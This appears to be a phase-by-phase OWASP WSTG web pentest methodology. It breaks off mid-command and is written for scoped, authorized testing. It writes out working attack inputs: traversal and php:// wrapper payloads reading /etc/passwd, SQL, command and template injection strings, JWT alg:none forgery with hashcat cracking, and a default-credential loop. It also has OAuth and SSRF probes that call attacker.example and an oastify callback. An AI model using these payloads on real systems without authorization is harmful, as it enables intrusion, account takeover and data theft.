WSTG Web Application Pentest
Full OWASP WSTG-aligned testing methodology. Each phase maps to a WSTG
category and provides concrete commands, expected outputs, pitfalls, and
verification criteria.
The 12 phases:
1. Information Gathering WSTG-INFO
2. Configuration & Deployment WSTG-CONF
3. Identity Management WSTG-IDNT
4. Authentication WSTG-ATHN
5. Authorization WSTG-ATHZ
6. Session Management WSTG-SESS
7. Input Validation WSTG-INPV
8. Error Handling WSTG-ERRH
9. Weak Cryptography WSTG-CRYP
10. Business Logic WSTG-BUSL
11. Client-side WSTG-CLNT
12. API Testing WSTG-APIT
Classify every observation:
| State | Meaning |
|---|
| Signal | Observation justifies follow-up |
| Exposed | Service or behavior reachable in tested context |
| Vulnerable | Security property failed under controlled test |
| Exploitable | Controlled test demonstrated concrete impact |
When to Use
- Starting a web application pentest with a defined scope
- Auditing a web application against the OWASP testing standard
- Building a test plan from observed technology and behavior
- When the engagement requires methodology documentation
- Converting automated scanner output into validated findings
Prerequisites
- In-scope domains, IPs, APIs, and test accounts
- Exclusions, rate limits, test windows, and abort conditions
- Permitted actions: passive, active read-only, intrusive, destructive
- Tools installed:
curl, subfinder, dnsx, httpx, katana, nuclei,
nmap, ffuf, jq, python3, openssl, tlsx, wappalyzer or whatweb
- Browser with intercepting proxy configured for authenticated testing
- Test accounts for two distinct identities (for authorization testing)
How to Run
TARGET="example.com"
OUTPUT_DIR="${OUTPUT_DIR:-./output}/${TARGET}"
mkdir -p "$OUTPUT_DIR"/{assets,http,urls,evidence,reports}
Procedure
Phase 1: Information Gathering (WSTG-INFO-01 through INFO-10)
Map the attack surface before testing.
1.1 Search Engine Discovery (WSTG-INFO-01)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"
gh search code "example.com" --limit 100 2>/dev/null
Pitfalls: Search results include third-party references. Verify ownership
before treating a result as in-scope.
1.2 Fingerprint Web Server (WSTG-INFO-02)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'
whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null
Expected output: Server header, technology stack hints.
Pitfalls: Headers can be suppressed or spoofed by reverse proxies.
Cross-reference with response behavior and error pages.
Verification: At least two independent signals agree on the technology.
1.3 Review Metafiles (WSTG-INFO-03)
for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
printf '%-30s %s\n' "$path" "$code"
done
Pitfalls: Disallowed paths in robots.txt are hints, not hidden secrets.
sitemap.xml sometimes lists admin or staging endpoints.
1.4 Attack Surface Discovery (WSTG-INFO-04)
subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"
curl -sS --max-time 30 \
"https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
| jq -r '.[].name_value' 2>/dev/null \
| sed 's/^\*\.//' | sort -u \
>> "$OUTPUT_DIR/assets/hostnames.txt"
sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"
Pitfalls: Wildcard entries are patterns, not hosts. Third-party names
appear in SANs. Classify scope and ownership before probing.
1.5 Resolve and Probe (WSTG-INFO-04 continued)
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
-o "$OUTPUT_DIR/assets/dns.jsonl"
httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
-silent -rate-limit 2 \
-status-code -title -tech-detect -server -ip -cname -json \
-o "$OUTPUT_DIR/http/services.jsonl"
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
> "$OUTPUT_DIR/http/live-urls.txt"
1.6 Review Page Content (WSTG-INFO-05)
while IFS= read -r url; do
curl -sS --max-time 10 "$url" 2>/dev/null \
| grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'\''<>&]+' \
| head -5
sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"
Pitfalls: Comments, inline scripts, and HTML data attributes frequently
contain false leads. Confirm in context before reporting.
1.7 Identify Entry Points (WSTG-INFO-06)
katana -list "$OUTPUT_DIR/http/live-urls.txt" \
-silent -jc -c 2 -p 2 -rl 2 \
-o "$OUTPUT_DIR/urls/katana.txt"
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"
cat "$OUTPUT_DIR/urls/katana.txt" \
"$OUTPUT_DIR/urls/wayback.txt" \
"$OUTPUT_DIR/urls/gau.txt" \
| sort -u > "$OUTPUT_DIR/urls/all.txt"
grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"
grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"
grep -iE '\.js(\?.*)?$' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"
grep -E '[?&][a-zA-Z0-9_.-]+=' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"
1.8 Fingerprint Framework (WSTG-INFO-08)
httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
-silent -tech-detect -json \
| jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
> "$OUTPUT_DIR/http/frameworks.tsv"
Verification: Confirm framework fingerprint with at least two signals: a
header, a cookie name (e.g. laravel_session, JSESSIONID), a path pattern
(/wp-content/, /_next/), or a unique error page.
1.9 Map Application Architecture (WSTG-INFO-10)
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
-o "$OUTPUT_DIR/assets/tls.jsonl"
nmap -sT --top-ports 100 --open -T3 \
-oA "$OUTPUT_DIR/assets/nmap-top100" \
-iL in-scope-ips.txt 2>/dev/null
Pitfalls: Port scanning is active and detectable. Run only on in-scope IPs
and with conservative timing.
Phase 2: Configuration and Deployment (WSTG-CONF-01 through CONF-14)
Test infrastructure and platform configuration.
2.1 Network Infrastructure (WSTG-CONF-01)
for path in admin administrator admin.php admin.aspx console manager \
phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
sleep 1
done
2.2 Application Platform Configuration (WSTG-CONF-02)
for path in .env .env.local .env.production .env.development \
config.json config.yml config.yaml settings.py wp-config.php \
web.config .htaccess Dockerfile docker-compose.yml; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
sleep 1
done
Pitfalls: A 200 response with a generic shell or redirect is not a config
leak. Always inspect the body.
Verification: Body contains configuration keys, database credentials,
API keys, or environment variables.
2.3 File Extensions (WSTG-CONF-03)
for ext in bak old backup orig save swp tmp ~; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/index.html.${ext}" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
sleep 1
done
2.4 Backup and Unreferenced Files (WSTG-CONF-04)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
-u "https://${TARGET}/FUZZ" \
-e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
-mc 200,301,302,403 \
-rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null
Pitfalls: Archive files from public sources (GitHub releases, CDN) are
not leaks. Confirm the file contains source or configuration before reporting.
2.5 Admin Interfaces (WSTG-CONF-05)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
-u "https://${TARGET}/FUZZ" \
-mc 200,301,302,403 -rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null
2.6 HTTP Methods (WSTG-CONF-06)
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X "$method" "https://${TARGET}/" 2>/dev/null)
printf '%-8s %s\n' "$method" "$code"
sleep 1
done
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
| grep -i 'allow:'
Pitfalls: TRACE is informational unless combined with cookie-bearing
requests. PUT without authentication is high.
2.7 HSTS (WSTG-CONF-07)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'strict-transport-security'
Verification: Header present with max-age >= 31536000 and includeSubDomains.
2.10 Subdomain Takeover (WSTG-CONF-10)
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
| jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
> "$OUTPUT_DIR/assets/cnames.txt"
subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null
Verification: Confirmed dangling CNAME record on a service that allows
re-registration of the target hostname.
2.11 Cloud Storage (WSTG-CONF-11)
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
"cdn.${TARGET}" "assets.${TARGET}"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${bucket}.s3.amazonaws.com" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done
2.12 Content Security Policy (WSTG-CONF-12)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'content-security-policy'
Verification: CSP present, does not contain unsafe-inline or
unsafe-eval without a nonce or hash, restricts script-src and object-src.
2.13 Path Confusion (WSTG-CONF-13)
for path in "%2e%2e/%2e%2e/etc/passwd" \
"..;/..;/etc/passwd" \
"/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
echo "$path: $code"
sleep 1
done
2.14 Security Headers (WSTG-CONF-14)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'
Verification: X-Frame-Options DENY or SAMEORIGIN; X-Content-Type-Options
nosniff; Referrer-Policy restricts referrer; Permissions-Policy restricts
sensitive APIs.
Phase 3: Identity Management (WSTG-IDNT-01 through IDNT-05)
Test user registration, provisioning, and enumeration.
3.1 Role Definitions (WSTG-IDNT-01)
Document every role from captured traffic, API responses, and observed UI.
For each role, record accessible routes and operations.
3.2 User Registration (WSTG-IDNT-02)
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
-H 'Content-Type: application/json' \
-d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
2>/dev/null | head -20
Tests by identity:
| Test | What to observe |
|---|
| Duplicate registration | Error message reveals existing user? |
| Weak password | Accepted without complexity requirements? |
| Automated registration | CAPTCHA or rate limit present? |
| Email verification bypass | Can you use the account before verification? |
3.4 Account Enumeration (WSTG-IDNT-04)
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null
Pitfalls: Timing differences under 200ms are rarely reliable. Status code
and response body differences are stronger signals.
Verification: Consistent, reproducible difference between existing and
non-existing accounts across multiple test runs.
Pitfalls: Do not enumerate production accounts. Use synthetic test accounts
to confirm the mechanism exists, then stop.
Phase 4: Authentication (WSTG-ATHN-01 through ATHN-11)
Test the full authentication flow.
4.1 Credentials over Encrypted Channel (WSTG-ATHN-01)
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
| grep -oPi 'action=["\x27][^"\x27]*["\x27]'
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
Verification: Login form submits over HTTPS. HTTP version redirects to HTTPS
before accepting credentials.
4.2 Default Credentials (WSTG-ATHN-02)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
"administrator:administrator" "root:root" "user:user" \
"test:test" "guest:guest"; do
IFS=':' read -r user pass <<< "$creds"
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
sleep 2
done
Pitfalls: This generates authentication failures. Rate limits may apply.
Do not lock out accounts.
4.3 Weak Lockout (WSTG-ATHN-03)
Do not test against production accounts. Use a dedicated test account.
for i in $(seq 1 10); do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=wrong$i" 2>/dev/null)
echo "Attempt $i: $code"
sleep 1
done
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"
Verification: Account locks after N consecutive failures (typically 3-10).
Lockout applies even with the correct password.
4.4 Bypass Authentication Schema (WSTG-ATHN-04)
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}${url}" 2>/dev/null)
echo "$url: $code"
sleep 1
done
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
4.7 Weak Authentication Methods (WSTG-ATHN-07)
Document the authentication flow:
- Basic auth over HTTPS? (acceptable if no better option)
- Form-based with CSRF token? (minimum)
- MFA? (required for sensitive operations)
- Password policy? (minimum length, complexity)
- Account recovery flow? (email-based, security questions)
4.9 Password Reset (WSTG-ATHN-09)
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
Verification: Token is high-entropy, single-use, time-limited, and
delivered over a separate channel.
4.11 Multi-Factor Authentication (WSTG-ATHN-11)
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
-H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
-H 'Content-Type: application/json' \
-d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
sleep 1
done; echo
Phase 5: Authorization (WSTG-ATHZ-01 through ATHZ-05)
Requires at least two test identities.
5.1 Directory Traversal / File Include (WSTG-ATHZ-01)
for payload in \
"../../../etc/passwd" \
"....//....//....//etc/passwd" \
"..%252f..%252f..%252fetc/passwd" \
"/etc/passwd" \
"file:///etc/passwd" \
"php://filter/convert.base64-encode/resource=index" \
"....//....//....//....//windows/win.ini"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/?page=${payload}" 2>/dev/null)
echo "$payload: $code"
sleep 1
done
Verification: Response contains /etc/passwd content, source code, or
OS-specific file content confirmed by content signature (not just 200).
5.2 Bypass Authorization Schema (WSTG-ATHZ-02)
With two test identities (User A and User B):
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
5.3 Privilege Escalation (WSTG-ATHZ-03)
for path in /admin /admin/users /api/admin /manage /settings/admin; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$path: $code"
sleep 1
done
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}' 2>/dev/null
5.4 Insecure Direct Object References (WSTG-ATHZ-04)
BASE_ID=100
for i in $(seq 0 5); do
ID=$((BASE_ID + i))
code=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-sS -o /dev/null -w '%{http_code}' 2>/dev/null)
body_len=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
echo "ID $ID: $code ($body_len bytes)"
sleep 1
done
Verification: User A receives data from an object belonging to User B,
confirmed by comparing content, owner fields, or tenant identifiers. Need
both identities for proof.
5.5 OAuth Weaknesses (WSTG-ATHZ-05)
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
-o /dev/null -w '%{http_code} %{redirect_url}\n'
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
-o /dev/null -w '%{redirect_url}\n'
Phase 6: Session Management (WSTG-SESS-01 through SESS-11)
6.1 Session Schema (WSTG-SESS-01)
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"TEST_USER","password":"TEST_PASS"}' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
Tests:
| Test | What to check |
|---|
| Token entropy | Length >= 128 bits; use ent or manual inspection |
| Token regeneration | New value after login? |
| Token on logout | Invalidated server-side after logout? |
| Token on password change | Invalidated after password change? |
| Concurrent sessions | Multiple simultaneous sessions allowed? |
6.2 Cookie Attributes (WSTG-SESS-02)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'set-cookie' \
| while read -r line; do
echo "$line" | grep -qi 'secure' || echo " [!] Missing Secure"
echo "$line" | grep -qi 'httponly' || echo " [!] Missing HttpOnly"
echo "$line" | grep -qi 'samesite' || echo " [!] Missing SameSite"
echo "---"
done
Verification: Session cookies have Secure, HttpOnly, and SameSite=Lax or
Strict. __Host- prefix used when scope is path-bound.
6.3 Session Fixation (WSTG-SESS-03)
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
-o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H "Cookie: $SESSION" \
-d 'username=TEST_USER&password=TEST_PASS' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
Verification: The server issues a new session identifier after
authentication, not reusing the pre-authentication value.
6.5 Cross-Site Request Forgery (WSTG-SESS-05)
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
| grep -iP 'csrf|_token|nonce|xsrf'
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
-H 'Content-Type: application/json' \
-H 'Cookie: session=VALID_SESSION' \
-d '{"email":"test@example.com"}' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
Pitfalls: SameSite=Lax cookies do not protect against GET-based CSRF.
Custom headers (X-Requested-With) only block simple cross-origin requests.
6.6 Logout (WSTG-SESS-06)
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
| grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
sleep 2
curl -sS --max-time 10 "https://${TARGET}/settings" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
Verification: Session is invalidated after logout (returns 302 or 401, not
200 with authenticated content).
6.7 Session Timeout (WSTG-SESS-07)
Document the idle timeout and absolute timeout. Check if "remember me" extends
the absolute timeout.
6.10 JWT Testing (WSTG-SESS-10)
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null
Pitfalls: JWT decoding is not a finding. The finding is: the server accepts
alg:none, accepts a symmetric key when RS256/ES256 is expected, or uses a
guessable secret.
Phase 7: Input Validation (WSTG-INPV-01 through INPV-22)
7.1 Reflected XSS (WSTG-INPV-01)
for param in q search query id page name email message comment; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/search?${param}=<xss%20id=xss>" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$param: $code"
sleep 1
done
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
| grep -o 'xssreflectiontest'
Pitfalls: WAF may block obvious probes. Start with unique benign strings
and check reflection before moving to payloads. An encoded reflection in an
attribute context requires a different payload than a raw HTML context.
7.2 Stored XSS (WSTG-INPV-02)
Test every input that persists: comments, profiles, messages, support tickets.
Verify in a second session (different browser/incognito) that the stored
payload renders for another user.
7.3 HTTP Verb Tampering (WSTG-INPV-03)
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
code=$(curl -sS --max-time 10 -X "$method" \
"https://${TARGET}/api/admin/users" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$method: $code"
sleep 1
done
7.5 SQL Injection (WSTG-INPV-05)
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/product?id=${payload}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$payload: $code"
sleep 1
done
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
time curl -sS --max-time 15 \
"https://${TARGET}/product?id=1%3B${db}%3B--" \
-o /dev/null 2>/dev/null
sleep 1
done
Pitfalls: Time-based tests are noisy. A 5-second delay in a fast response
is a strong signal; a 200ms variance is not. Error-based tests require
understanding the DBMS error format.
Verification: Confirmed data extraction (database names, table names,
row counts) through error-based, union-based, or blind channels. A single
error message is a lead, not a finding.
7.11 Code Injection / File Inclusion (WSTG-INPV-11)
for wrapper in \
"php://filter/convert.base64-encode/resource=index.php" \
"php://filter/convert.base64-encode/resource=../../etc/passwd" \
"expect://id" \
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/?page=${wrapper}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$wrapper: $code"
sleep 1
done
7.12 Command Injection (WSTG-INPV-12)
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
"\$(sleep+5)" "|+sleep+5"; do
time curl -sS --max-time 15 \
"https://${TARGET}/ping?host=127.0.0.1${cmd}" \
-o /dev/null 2>/dev/null
sleep 1
done
Pitfalls: Do not test destructive commands (rm, shutdown, wget).
Use time-based or OOB (Collaborator) detection for blind cases.
7.16 HTTP Request Smuggling (WSTG-INPV-16)
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
| nc -w 5 "$TARGET" 80
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'
7.17 Host Header Injection (WSTG-INPV-17)
curl -sS --max-time 10 "https://${TARGET}/" \
-H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/" \
-H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
Verification: Host header is reflected in password reset links, absolute
URLs in response bodies, or redirects. Reflection in a header alone is not
exploitable.
7.18 SSTI (WSTG-INPV-18)
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*\'7\'}}' \
'${{7*7}}' '@(7*7)'; do
resp=$(curl -sS --max-time 10 \
"https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
2>/dev/null)
echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
sleep 1
done
7.19 SSRF (WSTG-INPV-19)
CALLBACK="your-id.oastify.com"
for param in url uri path redirect callback webhook src proxy file image \
avatar import fetch download; do
curl -sS --max-time 10 \
"https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
sleep 1
done
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
-H 'Content-Type: application/json' \
-d "{\"url\":\"http://${CALLBACK}\"}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
Pitfalls: A DNS callback from a CDN or webhook validation service does not
prove the target made the request. Check the User-Agent, source IP, and timing.
Verification: Confirmed callback with identifying information (source IP,
User-Agent, or path unique to the target). For cloud metadata access, confirmed
retrieval of credentials or instance data.
7.20 Mass Assignment (WSTG-INPV-20)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
-H 'Content-Type: application/json' \
-d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
2>/dev/null | python3 -m json.tool 2>/dev/null
Verification: The response confirms the escalated role, or a subsequent
authenticated request demonstrates the escalated privilege.
7.22 Prototype Pollution (WSTG-INPV-22)
Object.prototype.polluted = true
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
2>/dev/null
Phase 8: Error Handling (WSTG-ERRH-01 through ERRH-02)
8.1 Improper Error Handling (WSTG-ERRH-01)
for trigger in \
"/nonexistent" \
"?id=abc" \
"?id[]=1" \
"?id=999999999999" \
"?id=-1" \
"?id=0" \
"'" \
"%00"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}${trigger}" \
-o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
-w '%{http_code}' 2>/dev/null)
echo "$trigger: $code"
sleep 1
done
Check each response body for: stack traces, framework names and versions,
SQL queries, file paths, database connection strings, internal IPs, API keys.
8.2 Stack Traces (WSTG-ERRH-02)
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
"$OUTPUT_DIR/evidence/" 2>/dev/null
Verification: Response contains a full stack trace with framework-internal
paths and line numbers, not just a generic error message.
Phase 9: Weak Cryptography (WSTG-CRYP-01 through CRYP-04)
9.1 Weak TLS (WSTG-CRYP-01)
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
</dev/null 2>/dev/null | openssl x509 -noout -text \
| grep -E 'Not Before|Not After|Issuer:|Subject:'
testssl --quiet --json "$TARGET" 2>/dev/null
Verification: TLS 1.0/1.1 supported, weak ciphers (RC4, 3DES, EXPORT),
missing forward secrecy, invalid/expired certificate, or hostname mismatch.
9.2 Padding Oracle (WSTG-CRYP-02)
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=MODIFIED_LAST_BYTE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "Valid: $code_ok, Modified: $code_bad"
Pitfalls: A different response code does not automatically indicate a
padding oracle. You need to systematically flip bytes and observe consistent
padding-error vs data-error behavior.
9.3 Unencrypted Channels (WSTG-CRYP-03)
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
| grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
9.4 Weak Cryptographic Primitives (WSTG-CRYP-04)
Inspect any observed cryptographic values: tokens, cookies, API keys, password
hashes. Check for:
- MD5 or SHA1 in security contexts
- ECB mode in encrypted tokens
- Hardcoded keys or IVs
- Predictable random values (timestamps, sequential counters)
Phase 10: Business Logic (WSTG-BUSL-01 through BUSL-10)
10.1 Data Validation (WSTG-BUSL-01)
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
